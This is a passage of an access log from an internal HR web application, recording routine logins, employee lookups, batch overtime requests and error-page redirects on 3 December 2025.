/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:24:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:24:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.126 - - [03/Dec/2025:10:36:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:10:36:30 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.126 - - [03/Dec/2025:10:36:30 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:10:36:30 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.126 - - [03/Dec/2025:10:36:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:10:36:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.126 - - [03/Dec/2025:10:36:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:10:36:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.126 - - [03/Dec/2025:10:36:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:10:36:40 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.126 - - [03/Dec/2025:10:36:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:10:36:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.126 - - [03/Dec/2025:10:37:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5560123519132174 HTTP/1.1" 200 55332 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:10:37:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5560123519132174 HTTP/1.1" 200 55332 192.168.11.126 - - [03/Dec/2025:10:37:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5560123519132174 HTTP/1.1" 200 57514 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5560123519132174" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:10:37:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5560123519132174 HTTP/1.1" 200 57514 192.168.11.126 - - [03/Dec/2025:10:37:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4074 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:10:37:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4074 192.168.11.126 - - [03/Dec/2025:10:37:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.126 - - [03/Dec/2025:10:37:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [03/Dec/2025:10:38:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:38:26 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [03/Dec/2025:10:38:28 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:38:28 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [03/Dec/2025:10:38:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:38:33 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.135 - - [03/Dec/2025:10:38:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:38:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.135 - - [03/Dec/2025:10:39:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:39:48 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.135 - - [03/Dec/2025:10:40:00 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:40:00 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.135 - - [03/Dec/2025:10:40:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:40:05 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 192.168.11.135 - - [03/Dec/2025:10:40:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:40:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.135 - - [03/Dec/2025:10:40:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:40:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [03/Dec/2025:10:40:40 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5136735440887057 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:40:40 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5136735440887057 HTTP/1.1" 200 8908 192.168.11.135 - - [03/Dec/2025:10:40:48 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5136735440887057 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5136735440887057" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:40:48 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5136735440887057 HTTP/1.1" 200 24852 192.168.11.135 - - [03/Dec/2025:10:41:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:41:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.135 - - [03/Dec/2025:10:41:51 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132707%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132707&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:41:51 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132707%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132707&target=iframe HTTP/1.1" 200 3251 192.168.11.135 - - [03/Dec/2025:10:41:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:41:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 192.168.11.135 - - [03/Dec/2025:10:42:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 23690 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:42:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 23690 192.168.11.135 - - [03/Dec/2025:10:42:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:42:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [03/Dec/2025:10:42:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5946326222662947 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:42:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5946326222662947 HTTP/1.1" 200 8908 192.168.11.135 - - [03/Dec/2025:10:42:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5946326222662947 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5946326222662947" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:42:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5946326222662947 HTTP/1.1" 200 24852 192.168.11.135 - - [03/Dec/2025:10:43:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:43:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.11.135 - - [03/Dec/2025:10:43:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:43:06 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [03/Dec/2025:10:44:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:44:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 192.168.11.135 - - [03/Dec/2025:10:45:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 24709 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [03/Dec/2025:10:45:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 24709 192.168.11.108 - - [03/Dec/2025:10:47:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [03/Dec/2025:10:47:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH003&appdesc=%E8%AF%B7%E5%81%87%E7%AD%BE%E6%A0%B8 HTTP/1.1" 302 - 192.168.11.108 - - [03/Dec/2025:10:47:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 